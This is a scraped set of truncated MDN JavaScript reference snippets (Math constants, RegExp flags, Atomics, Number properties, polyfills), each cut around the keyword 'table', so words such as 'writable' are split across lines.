ctor typeerror: intl is not a constructor typeerror: atomics is not a constructor error type typeerror what went wrong? there was an attempt to use an object or a variable as a constructor, but that object or variable is not a constructor. see constructor or the new operator for more information on what a constructor is. there are many global objects, like string or array, which are construc
table using new. however, some global objects are not and their properties and methods are static. the following javascript standard built-in objects are not a constructor: math, json, symbol, reflect, intl, atomics. generator functions cannot be used as constructors either. examples invalid cases var car = 1; new car(); // typeerror: car is not a constructor new math(); // typeerror: math is not ...
Method definitions - JavaScript
} // the same object using shorthand syntax const obj3 = { async f() { await some_promise } } async generator methods generator methods can also be async. const obj4 = { f: async function* () { yield 1 yield 2 yield 3 } }; // the same object using shorthand syntax const obj4 = { async* f() { yield 1 yield 2 yield 3 } } method definitions are not construc
table methods cannot be constructors! they will throw a typeerror if you try to instantiate them. const obja = { method() {} } new obja.method // typeerror: obj.method is not a constructor const objb = { * g() {} } new objb.g // typeerror: obj.g is not a constructor (changed in es2016) examples simple test case const obj = { a: 'foo', b() { return this.a } }; console.log(obj.b()) ...
Array.prototype[@@unscopables] - JavaScript
these properties are excluded from with statement bindings. description the default array properties that are excluded from with bindings are: copywithin() entries() fill() find() findindex() includes() keys() values() see symbol.unscopables for how to set unscopables for your own objects. property attributes of array.prototype[@@unscopables] wri
table no enumerable no configurable yes examples use in with environments the following code works fine in es5 and below. however, in ecmascript 2015 and later, the array.prototype.keys() method was introduced. that means that inside with environments, "keys" would now be the method and not the variable. this is where now the built-in @@unsc...
Array.prototype.find() - JavaScript
). // c. let testresult be toboolean(? call(predicate, t, « kvalue, k, o »)). // d. if testresult is true, return kvalue. var kvalue = o[k]; if (predicate.call(thisarg, kvalue, k, o)) { return kvalue; } // e. increase k by 1. k++; } // 7. return undefined. return undefined; }, configurable: true, wri
table: true }); } if you need to support truly obsolete javascript engines that don't support object.defineproperty, it is best not to polyfill array.prototype at all, as you cannot make it non-enumerable. examples find an object in an array by one of its properties const inventory = [ {name: 'apples', quantity: 2}, {name: 'bananas', quantity: 0}, {name: 'cherries', quantity: 5} ]; functi...
Array.prototype.findIndex() - JavaScript
et kvalue be ? get(o, pk). // c. let testresult be toboolean(? call(predicate, t, « kvalue, k, o »)). // d. if testresult is true, return k. var kvalue = o[k]; if (predicate.call(thisarg, kvalue, k, o)) { return k; } // e. increase k by 1. k++; } // 7. return -1. return -1; }, configurable: true, wri
table: true }); } if you need to support truly obsolete javascript engines that do not support object.defineproperty, it is best not to polyfill array.prototype methods at all, as you cannot make them non-enumerable. examples find the index of a prime number in an array the following example returns the index of the first element in the array that is a prime number, or -1 if there is no prime nu...
Array.prototype.forEach() - JavaScript
dn't invoke callback function. converting a for loop to foreach const items = ['item1', 'item2', 'item3'] const copyitems = [] // before for (let i = 0; i < items.length; i++) { copyitems.push(items[i]) } // after items.foreach(function(item){ copyitems.push(item) }) printing the contents of an array note: in order to display the content of an array in the console, you can use console.
table(), which prints a formatted version of the array. the following example illustrates an alternative approach, using foreach(). the following code logs a line for each element in an array: function logarrayelements(element, index, array) { console.log('a[' + index + '] = ' + element) } // notice that index 2 is skipped, since there is no item at // that position in the array... [2, 5, , 9].f...
Array.prototype.length - JavaScript
ray length to 5 while currently 2. console.log(arr); // [ 1, 2, <3 empty items> ] arr.foreach(element => console.log(element)); // 1 // 2 as you can see, the length property does not necessarily indicate the number of defined values in the array. see also relationship between length and numerical properties. property attributes of array.prototype.length wri
table yes enumerable no configurable no wri
table: if this attribute set to false, the value of the property cannot be changed. configurable: if this attribute set to false, any attempts to delete the property or change its attributes (wri
table, configurable, or enumerable) will fail. enumerable: if this attribute set to true, the property...
Atomics.and() - JavaScript
to compute the bitwise and. value the number to compute the bitwise and with. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. description the bitwise and operation only yields 1, if both a and b are 1. the truth
table for the and operation is: a b a & b 0 0 0 0 1 0 1 0 0 1 1 1 for example, a bitwise and of 5 & 1 results in 0001 which is 1 in decimal. 5 0101 1 0001 ---- 1 0001 examples using and() const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.and(ta, 0, 1); // returns 0...
Atomics.or() - JavaScript
edarray to compute the bitwise or. value the number to compute the bitwise or with. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. description the bitwise or operation yields 1, if either a or b are 1. the truth
table for the or operation is: a b a | b 0 0 0 0 1 1 1 0 1 1 1 1 for example, a bitwise or of 5 & 1 results in 0101 which is 5 in decimal. 5 0101 1 0001 ---- 5 0101 examples using or const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 2; atomics.or(ta, 0, 1); // returns 2, the...
Atomics.xor() - JavaScript
ay to compute the bitwise xor. value the number to compute the bitwise xor with. return value the old value at the given position (typedarray[index]). exceptions throws a typeerror, if typedarray is not one of the allowed integer types. throws a rangeerror, if index is out of bounds in the typedarray. description the bitwise xor operation yields 1, if a and b are different. the truth
table for the xor operation is: a b a ^ b 0 0 0 0 1 1 1 0 1 1 1 0 for example, a bitwise xor of 5 ^ 1 results in 0100 which is 4 in decimal. 5 0101 1 0001 ---- 4 0100 examples using xor const sab = new sharedarraybuffer(1024); const ta = new uint8array(sab); ta[0] = 5; atomics.xor(ta, 0, 1); // returns 5,...
Atomics - JavaScript
cs module. unlike the other global objects, atomics is not a constructor. you cannot use it with a new operator or invoke the atomics object as a function. all properties and methods of atomics are static (as is the case with the math object, for example). atomic operations when memory is shared, multiple threads can read and write the same data in memory. atomic operations make sure that predic
table values are written and read, that operations are finished before the next operation starts and that operations are not interrupted. wait and notify the wait() and notify() methods are modeled on linux futexes ("fast user-space mutex") and provide ways for waiting until a certain condition becomes true and are typically used as blocking constructs. static methods atomics.add() adds the prov...
BigInt - JavaScript
ied object. overrides the object.prototype.valueof() method. usage recommendations coercion because coercing between number and bigint can lead to loss of precision, it is recommended to only use bigint when values greater than 253 are reasonably expected and not to coerce between the two types. cryptography the operations supported on bigints are not constant time. bigint is therefore unsui
table for use in cryptography. use within json using json.stringify() with any bigint value will raise a typeerror as bigint values aren't serialized in json by default. however, you can implement your own tojson method if needed: bigint.prototype.tojson = function() { return this.tostring() } instead of throwing, json.stringify now produces a string like this: json.stringify(bigint(1)) // '"1"' ...
Error.prototype.lineNumber - JavaScript
ed this error. examples using linenumber var e = new error('could not parse input'); throw e; console.log(e.linenumber) // 2 alternative example using error event window.addeventlistener('error', function(e) { console.log(e.linenumber); // 5 }); var e = new error('could not parse input'); throw e; this is not a standard feature and lacks widespread support. see the browser compatability
table below. specifications not part of any standard. ...
Error.prototype.toSource() - JavaScript
ing can be evaluated to create an (approximately) equal object. naturally, the string containing the source follows the structure of the error constructor. for example: (newname(message ,filename,linenumber)) where these attributes correspond to the respective properties of the error instance. note: be aware that the properties used by the tosource method in the creation of this string are mu
table and may not accurately reflect the function used to create an error instance or the filename or line number where the actual error occurred. specifications not part of any standard. ...
Error - JavaScript
nce = new error(message, filename, linenumber); instance.name = 'customerror'; instance.foo = foo; object.setprototypeof(instance, object.getprototypeof(this)); if (error.capturestacktrace) { error.capturestacktrace(instance, customerror); } return instance; } customerror.prototype = object.create(error.prototype, { constructor: { value: error, enumerable: false, wri
table: true, configurable: true } }); if (object.setprototypeof){ object.setprototypeof(customerror, error); } else { customerror.__proto__ = error; } try { throw new customerror('baz', 'bazmessage'); } catch(e){ console.error(e.name); //customerror console.error(e.foo); //baz console.error(e.message); //bazmessage } specifications specification ecmascript (e...
FinalizationRegistry - JavaScript
engine implementers are constantly refining and improving their solutions to. here are some specific points that the authors of the weakref proposal that finalizationregistry is part of included in its explainer document: garbage collectors are complicated. if an application or library depends on gc cleaning up a finalizationregistry or calling a finalizer [cleanup callback] in a timely, predic
table manner, it's likely to be disappointed: the cleanup may happen much later than expected, or not at all. sources of variability include: one object might be garbage-collected much sooner than another object, even if they become unreachable at the same time, e.g., due to generational collection. garbage collection work can be split up over time using incremental and concurrent techniques. vari...
Infinity - JavaScript
if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description infinity is a property of the global object. in other words, it is a variable in global scope. the initial value of infinity is number.positive_infinity. ...
Intl.Locale.prototype.calendar - JavaScript
the intl.locale.prototype.calendar property is an accessor property which returns the type of calendar used in the locale. description the calendar property returns the part of the locale that indicates the locale's calendar era. while most of the world uses the gregorian calendar, there are several regional calendar eras used around the world. the following
table shows all the valid unicode calendar key strings, along with a description of the calendar era they represent. unicode calendar keys unicode calendar keys calendar key (name) description buddhist thai buddhist calendar chinese traditional chinese calendar coptic coptic calendar dangi traditional korean calendar ethioaa ethiopic calendar, amete alem (epoc...
Intl.Locale.prototype.caseFirst - JavaScript
case is taken into account for the locale's collation rules. description a locale's collation rules are used to determine how strings are ordered in that locale. certain locales use a character's case (uppercase or lowercase) in the collation process. this additional rule can be expressed in a locale's casefirst property. there are 3 values that the casefirst property can have, outlined in the
table below. casefirst values value description upper upper case to be sorted before lower case. lower lower case to be sorted before upper case. false no special case ordering. examples setting the casefirst value via the locale string in the unicode locale string spec, the values that casefirst represents correspond to the key kf. kf is t...
Intl.Locale.prototype.hourCycle - JavaScript
(clocks) used around the world: the 12 hour clock and the 24 hour clock. the hourcycle property makes it easier for javascript programmers to access the clock type used by a particular locale. like other additional locale data, hour cycle type is an extension subtag, which extends the data contained in a locale string. the hour cycle type can have several different values, which are listed in the
table below. valid hour cycle types hour cycle type description h12 hour system using 1–12; corresponds to 'h' in patterns. the 12 hour clock, with midnight starting at 12:00 am. h23 hour system using 0–23; corresponds to 'h' in patterns. the 24 hour clock, with midnight starting at 0:00. h11 hour system using 0–11; corresponds to 'k' in patte...
Intl.Locale.prototype.numberingSystem - JavaScript
eral system used by the locale. description a numeral system is a system for expressing numbers. the numberingsystem property helps to represent the different numeral systems used by various countries, regions, and cultures around the world. as with most internationalization schemas, the numeral systems that can be represented in a locale object by numberingsystem are standardized by unicode. a
table of the standard unicode numeral systems can be seen below. value description adlm adlam digits ahom ahom digits arab arabic-indic digits arabext extended arabic-indic digits armn armenian upper case numerals — algorithmic armnlow armenian lower case numerals — algorithmic bali balinese digits ...
Map.prototype[@@toStringTag] - JavaScript
the map[@@tostringtag] property has an initial value of "map". the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of map.prototype[@@tostringtag] wri
table no enumerable no configurable yes syntax map[symbol.tostringtag] examples using tostringtag object.prototype.tostring.call(new map()) // "[object map]" specifications specification ecmascript (ecma-262)the definition of 'map.prototype[@@tostringtag]' in that specification. ...
Map - JavaScript
y equality key equality is based on the samevaluezero algorithm. nan is considered the same as nan (even though nan !== nan) and all other values are considered equal according to the semantics of the === operator. in the current ecmascript specification, -0 and +0 are considered equal, although this was not so in earlier drafts. see "value equality for -0 and 0" in the browser compatibility
table for details. objects vs. maps object is similar to map—both let you set keys to values, retrieve those values, delete keys, and detect whether something is stored at a key. for this reason (and because there were no built-in alternatives), objects have been used as maps historically. however, there are important differences that make map preferable in certain cases: map obj...
Math.E - JavaScript
f natural logarithms, e, approximately 2.718. math.e=e≈2.718\mathtt{\mi{math.e}} = e \approx 2.718 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.e wri
table no enumerable no configurable no description because e is a static property of math, you always use it as math.e, rather than as a property of a math object you created (math is not a constructor). examples using math.e the following function returns e: function getnapier() { return math.e; } getnapier(); // 2.718281828459045 s...
Math.LN10 - JavaScript
10, approximately 2.302: math.ln10=ln(10)≈2.302\mathtt{\mi{math.ln10}} = \ln(10) \approx 2.302 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.ln10 wri
table no enumerable no configurable no description because ln10 is a static property of math, you always use it as math.ln10, rather than as a property of a math object you created (math is not a constructor). examples using math.ln10 the following function returns the natural log of 10: function getnatlog10() { return math.ln10; } get...
Math.LN2 - JavaScript
thm of 2, approximately 0.693: math.ln2=ln(2)≈0.693\mathtt{\mi{math.ln2}} = \ln(2) \approx 0.693 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.ln2 wri
table no enumerable no configurable no description because ln2 is a static property of math, you always use it as math.ln2, rather than as a property of a math object you created (math is not a constructor). examples using math.ln2 the following function returns the natural log of 2: function getnatlog2() { return math.ln2; } getnatlog...
Math.LOG10E - JavaScript
imately 0.434: math.log10e=log10(e)≈0.434\mathtt{\mi{math.log10e}} = \log_10(e) \approx 0.434 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.log10e wri
table no enumerable no configurable no description because log10e is a static property of math, you always use it as math.log10e, rather than as a property of a math object you created (math is not a constructor). examples using math.log10e the following function returns the base 10 logarithm of e: function getlog10e() { return math.log...
Math.LOG2E - JavaScript
pproximately 1.442: math.log2e=log2(e)≈1.442\mathtt{\mi{math.log2e}} = \log_2(e) \approx 1.442 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.log2e wri
table no enumerable no configurable no description because log2e is a static property of math, you always use it as math.log2e, rather than as a property of a math object you created (math is not a constructor). examples using math.log2e the following function returns the base 2 logarithm of e: function getlog2e() { return math.log2e; }...
Math.PI - JavaScript
ts diameter, approximately 3.14159: math.pi=π≈3.14159\mathtt{\mi{math.pi}} = \pi \approx 3.14159 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.pi wri
table no enumerable no configurable no description because pi is a static property of math, you always use it as math.pi, rather than as a property of a math object you created (math is not a constructor). examples using math.pi the following function uses math.pi to calculate the circumference of a circle with a passed radius. function c...
Math.SQRT1_2 - JavaScript
12=12≈0.707\mathtt{\mi{math.sqrt1_2}} = \sqrt{\frac{1}{2}} = \frac{1}{\sqrt{2}} \approx 0.707 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.sqrt1_2 wri
table no enumerable no configurable no description because sqrt1_2 is a static property of math, you always use it as math.sqrt1_2, rather than as a property of a math object you created (math is not a constructor). examples using math.sqrt1_2 the following function returns 1 over the square root of 2: function getroot1_2() { return mat...
Math.SQRT2 - JavaScript
of 2, approximately 1.414: math.sqrt2=2≈1.414\mathtt{\mi{math.sqrt2}} = \sqrt{2} \approx 1.414 the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of math.sqrt2 wri
table no enumerable no configurable no description because sqrt2 is a static property of math, you always use it as math.sqrt2, rather than as a property of a math object you created (math is not a constructor). examples using math.sqrt2 the following function returns the square root of 2: function getroot2() { return math.sqrt2; } get...
Math.random() - JavaScript
ess than (but not equal to) max. function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, which may not be accep
table for your needs. getting a random integer between two values, inclusive while the getrandomint() function above is inclusive at the minimum, it's exclusive at the maximum. what if you need the results to be inclusive at both the minimum and the maximum? the getrandomintinclusive() function below accomplishes that. function getrandomintinclusive(min, max) { min = math.ceil(min); max = math.
Math.random() - JavaScript
ess than (but not equal to) max. function getrandomint(min, max) { min = math.ceil(min); max = math.floor(max); return math.floor(math.random() * (max - min) + min); //the maximum is exclusive and the minimum is inclusive } it might be tempting to use math.round() to accomplish that, but doing so would cause your random numbers to follow a non-uniform distribution, which may not be accep
table for your needs. getting a random integer between two values, inclusive while the getrandomint() function above is inclusive at the minimum, it's exclusive at the maximum. what if you need the results to be inclusive at both the minimum and the maximum? the getrandomintinclusive() function below accomplishes that. function getrandomintinclusive(min, max) { min = math.ceil(min); max = math.
NaN - JavaScript
the global nan property is a value representing not-a-number. property attributes of nan wri
table no enumerable no configurable no the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. description nan is a property of the global object. in other words, it is a variable in global scope. the initial value of nan is not-a-number — the same as the value of number.nan. in modern browsers, nan is a non-configurable, non-wri
table property. even when this is not the case, avoid overriding it. it is rather rare to use nan in a pro...
Number.EPSILON - JavaScript
ou do not have to create a number object to access this static property (use number.epsilon). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.epsilon wri
table no enumerable no configurable no description the epsilon property has a value of approximately 2.2204460492503130808472633361816e-16, or 2-52. polyfill if (number.epsilon === undefined) { number.epsilon = math.pow(2, -52); } examples testing equality x = 0.2; y = 0.3; z = 0.1; equal = (math.abs(x - y + z) < number.epsilon); ...
Number.MAX_SAFE_INTEGER - JavaScript
m safe integer in javascript (253 - 1). for larger integers, consider using bigint. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.max_safe_integer wri
table no enumerable no configurable no description the max_safe_integer constant has a value of 9007199254740991 (9,007,199,254,740,991 or ~9 quadrillion). the reasoning behind that number is that javascript uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253 - 1) an...
Number.MIN_SAFE_INTEGER - JavaScript
cript (-(253 - 1)). to represent integers smaller than this, consider using bigint. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.min_safe_integer wri
table no enumerable no configurable no description the min_safe_integer constant has a value of -9007199254740991 (-9,007,199,254,740,991 or about -9 quadrillion). the reasoning behind that number is that javascript uses double-precision floating-point format numbers as specified in ieee 754 and can only safely represent numbers between -(253...
Number.NEGATIVE_INFINITY - JavaScript
the number.negative_infinity property represents the negative infinity value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.negative_infinity wri
table no enumerable no configurable no description the value of number.negative_infinity is the same as the negative value of the global object's infinity property. this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by negative_infinity is negative_infinity. any nega...
Number.NaN - JavaScript
the number.nan property represents not-a-number. equivalent of nan. you do not have to create a number object to access this static property (use number.nan). property attributes of number.nan wri
table no enumerable no configurable no examples checking whether values are numeric function sanitise(x) { if (isnan(x)) { return number.nan; } return x; } testing against nan see testing against nan on the nan page. specifications specification ecmascript (ecma-262)the definition of 'number.nan' in that specification. ...
Number.POSITIVE_INFINITY - JavaScript
the number.positive_infinity property represents the positive infinity value. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of number.positive_infinity wri
table no enumerable no configurable no description the value of number.positive_infinity is the same as the value of the global object's infinity property. this value behaves slightly differently than mathematical infinity: any positive value, including positive_infinity, multiplied by positive_infinity is positive_infinity. any negative valu...
Number - JavaScript
be converted, it returns nan. literal syntax 123 // one-hundred twenty-three 123.0 // same 123 === 123.0 // true function syntax number('123') // returns the number 123 number('123') === 123 // true number("unicorn") // nan number(undefined) // nan constructor number() creates a new number value. static properties number.epsilon the smallest interval between two represen
table numbers. number.max_safe_integer the maximum safe integer in javascript (253 - 1). number.max_value the largest positive represen
table number. number.min_safe_integer the minimum safe integer in javascript (-(253 - 1)). number.min_value the smallest positive represen
table number—that is, the positive number closest to zero (without actually being zero). number.nan special "not a numbe...
Object.getOwnPropertyDescriptors() - JavaScript
own properties of an object. a property in javascript consists of either a string-valued name or a symbol and a property descriptor. further information about property descriptor types and their attributes can be found in object.defineproperty(). a property descriptor is a record with some of the following attributes: value the value associated with the property (data descriptors only). wri
table true if and only if the value associated with the property may be changed (data descriptors only). get a function which serves as a getter for the property, or undefined if there is no getter (accessor descriptors only). set a function which serves as a setter for the property, or undefined if there is no setter (accessor descriptors only). configurable true if and only if the type of this...
handler.defineProperty() - JavaScript
prop); return true; } }); const desc = { configurable: true, enumerable: true, value: 10 }; object.defineproperty(p, 'a', desc); // "called: a" when calling object.defineproperty() or reflect.defineproperty(), the descriptor passed to defineproperty() trap has one restriction—only following properties are usable (non-standard properties will be ignored): enumerable configurable wri
table value get set const p = new proxy({}, { defineproperty(target, prop, descriptor) { console.log(descriptor); return reflect.defineproperty(target, prop, descriptor); } }); object.defineproperty(p, 'name', { value: 'proxy', type: 'custom' }); // { value: 'proxy' } specifications specification ecmascript (ecma-262)the definition of '[[defineownproperty...
handler.set() - JavaScript
cannot set the value of a property if the corresponding target object property is a non-configurable accessor property that has undefined as its [[set]] attribute. in strict mode, a false return value from the set() handler will throw a typeerror exception. examples trap setting of a property value the following code traps setting a property value. const p ...
Comparing Reflect and Object methods - JavaScript
the reflect object, introduced in es2015, is a built-in object that provides methods to interface with javascript objects. some of the static functions that exist on reflect also correspond to methods available on object, which predates es2015. although some of the methods appear to be similar in their behavior, there are often subtle differences between them. the
table below details the differences between the methods available on the object and reflect apis. please note that if a method does not exist in an api, it is marked as n/a. method name object reflect defineproperty() object.defineproperty() returns the object that was passed to the function. returns a typeerror if the property was not successfully defined on the object. reflect.defineproperty() re...
Reflect.set() - JavaScript
// true obj.prop // "value" // array let arr = ['duck', 'duck', 'duck'] reflect.set(arr, 2, 'goose') // true arr[2] // "goose" // it can truncate an array. reflect.set(arr, 'length', 1) // true arr // ["duck"] // with just one argument, propertykey and value are "undefined". let obj = {} reflect.set(obj) // true reflect.getownpropertydescriptor(obj, 'undefined') // { value: undefined, wri
table: true, enumerable: true, configurable: true } specifications specification ecmascript (ecma-262)the definition of 'reflect.set' in that specification. ...
Reflect - JavaScript
the methods are the same as those of proxy handlers. reflect is not a function object, so it's not constructible. description unlike most global objects, reflect is not a constructor. you cannot use it with a new operator or invoke the reflect object as a function. all properties and methods of reflect are static (just like the math object). the reflect object provides the following static functions which have the same names as the proxy handler methods. some of these methods are also the same as corresponding methods on object, although they do have some subtle differences between them. ...
RegExp.prototype.dotAll - JavaScript
the dotall property indicates whether or not the "s" flag is used with the regular expression. dotall is a read-only property of an individual regular expression instance. property attributes of regexp.prototype.dotall wri
table no enumerable no configurable yes description the value of dotall is a boolean and true if the "s" flag was used; otherwise, false. the "s" flag indicates that the dot special character (".") should additionally match the following line terminator ("newline") characters in a string, which it would not match otherwise: u+000a line feed (lf) ("\n") u+000d carriage return (cr) ("\r") u+2028 line separator u+2029 paragraph separator this effectively means the dot wil...
RegExp.prototype.exec() - JavaScript
e group of the matched text. if the match fails, the exec() method returns null, and sets lastindex to 0. description consider the following example: // match "quick brown" followed by "jumps", ignoring characters in between // remember "brown" and "jumps" // ignore case let re = /quick\s(brown).+?(jumps)/ig; let result = re.exec('the quick brown fox jumps over the lazy dog'); the following
table shows the results for this script: object property/index description example result [0] the full string of characters matched "quick brown fox jumps" [1], ...[n] the parenthesized substring matches, if any. the number of possible parenthesized substrings is unlimited. result[1] === "brown" result[2] === "jumps...
RegExp.prototype.flags - JavaScript
ty returns a string consisting of the flags of the current regular expression object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.flags wri
table no enumerable no configurable yes description flags in the flags property are sorted alphabetically (from left to right, e.g. "gimsuy"). polyfill if (regexp.prototype.flags === undefined) { object.defineproperty(regexp.prototype, 'flags', { configurable: true, get: function() { return this.tostring().match(/[gimsuy]*$...
RegExp.prototype.global - JavaScript
ession. global is a read-only property of an individual regular expression instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.global wri
table no enumerable no configurable yes description the value of global is a boolean and true if the "g" flag was used; otherwise, false. the "g" flag indicates that the regular expression should be tested against all possible matches in a string. a regular expression defined as both global ("g") and sticky ("y") will ignore the global flag a...
RegExp.prototype.ignoreCase - JavaScript
ignorecase is a read-only property of an individual regular expression instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.ignorecase wri
table no enumerable no configurable yes description the value of ignorecase is a boolean and true if the "i" flag was used; otherwise, false. the "i" flag indicates that case should be ignored while attempting a match in a string. you cannot change this property directly. examples using ignorecase var regex = new regexp('foo', 'i'); cons...
RegExpInstance.lastIndex - JavaScript
the lastindex is a read/write integer property of regular expression instances that specifies the index at which to start the next match. property attributes of regexpinstance.lastindex wri
table yes enumerable no configurable no description this property is set only if the regular expression instance used the g flag to indicate a global search, or the y flag to indicate a sticky search. the following rules apply: if lastindex is greater than the length of the string, test() and exec() fail, then lastindex is set to 0. if lastindex is equal to or less than the length of the string and if the regular expression matches the empty string, then the regular expression matches input starting from ...
RegExp.prototype.multiline - JavaScript
. multiline is a read-only property of an individual regular expression instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.multiline wri
table no enumerable no configurable yes description the value of multiline is a boolean and is true if the "m" flag was used; otherwise, false. the "m" flag indicates that a multiline input string should be treated as multiple lines. for example, if "m" is used, "^" and "$" change from matching at only the start or end of the entire string to...
RegExp.prototype.source - JavaScript
object, and it doesn't contain the two forward slashes on both sides and any flags. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.source wri
table no enumerable no configurable yes examples using source var regex = /foobar/ig; console.log(regex.source); // "foobar", doesn't contain /.../ and "ig". empty regular expressions and escaping starting with ecmascript 5, the source property no longer returns an empty string for empty regular expressions. instead, the string "(?:)" is...
RegExp.prototype.sticky - JavaScript
ression). sticky is a read-only property of an individual regular expression object. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.sticky wri
table no enumerable no configurable yes description the value of sticky is a boolean and true if the "y" flag was used; otherwise, false. the "y" flag indicates that it matches only from the index indicated by the lastindex property of this regular expression in the target string (and does not attempt to match from any later indexes). a regul...
RegExp.prototype.unicode - JavaScript
sion. unicode is a read-only property of an individual regular expression instance. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. property attributes of regexp.prototype.unicode wri
table no enumerable no configurable yes description the value of unicode is a boolean and true if the "u" flag was used; otherwise false. the "u" flag enables various unicode-related features. with the "u" flag, any unicode code point escapes will be interpreted as such, for example. you cannot change this property directly. it is read-only.
Set - JavaScript
et has to be unique, the value equality will be checked. in an earlier version of ecmascript specification, this was not based on the same algorithm as the one used in the === operator. specifically, for sets, +0 (which is strictly equal to -0) and -0 were different values. however, this was changed in the ecmascript 2015 specification. see "key equality for -0 and 0" in the browser compatibility
table for details. nan and undefined can also be stored in a set. all nan values are equated (i.e. nan is considered the same as nan, even though nan !== nan). constructor set() creates a new set object. static properties get set[@@species] the constructor function that is used to create derived objects. instance properties set.prototype.size returns the number of values in the set ob...
String.prototype.anchor() - JavaScript
t into the generated <a name="..."> start tag. return value a string beginning with an <a name="name"> start tag, then the text str, and then an </a> end tag description don't use this method. use dom apis instead. also, the html specification no longer allows the <a> element to have a name attribute, so this method doesn't even create valid markup. examples using anchor() var mystring = '
table of contents'; document.body.innerhtml = mystring.anchor('contents_anchor'); will output the following html: <a name="contents_anchor">
table of contents</a> specifications specification ecmascript (ecma-262)the definition of 'string.prototype.anchor' in that specification. ...
String.prototype.codePointAt() - JavaScript
0xdc00 && second <= 0xdfff) { // low surrogate // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae return (first - 0xd800) * 0x400 + second - 0xdc00 + 0x10000; } } return first; }; if (defineproperty) { defineproperty(string.prototype, 'codepointat', { 'value': codepointat, 'configurable': true, 'wri
table': true }); } else { string.prototype.codepointat = codepointat; } }()); } examples using codepointat() 'abc'.codepointat(1) // 66 '\ud800\udc00'.codepointat(0) // 65536 'xyz'.codepointat(42) // undefined looping with codepointat() for (let codepoint of '\ud83d\udc0e\ud83d\udc71\u2764') { console.log(codepoint.codepointat(0).tostring(16)) } // '...
String.fromCharCode() - JavaScript
s". examples using fromcharcode() bmp characters, in utf-16, use a single code unit: string.fromcharcode(65, 66, 67); // returns "abc" string.fromcharcode(0x2014); // returns "—" string.fromcharcode(0x12014); // also returns "—"; the digit 1 is truncated and ignored string.fromcharcode(8212); // also returns "—"; 8212 is the decimal form of 0x2014 complete utf 16
table. supplementary characters, in utf-16, require two code units (i.e. a surrogate pair): string.fromcharcode(0xd83c, 0xdf03); // code point u+1f303 "night with string.fromcharcode(55356, 57091); // stars" == "\ud83c\udf03" string.fromcharcode(0xd834, 0xdf06, 0x61, 0xd834, 0xdf07); // "\ud834\udf06a\ud834\udf07" specifications specification ecmascript (ecma-262)the definitio...
String.fromCodePoint() - JavaScript
if (codelen >= 0x3fff) { result += stringfromcharcode.apply(null, codeunits); codeunits.length = 0; } } return result + stringfromcharcode.apply(null, codeunits); }; try { // ie 8 only supports `object.defineproperty` on dom elements object.defineproperty(string, "fromcodepoint", { "value": fromcodepoint, "configurable": true, "wri
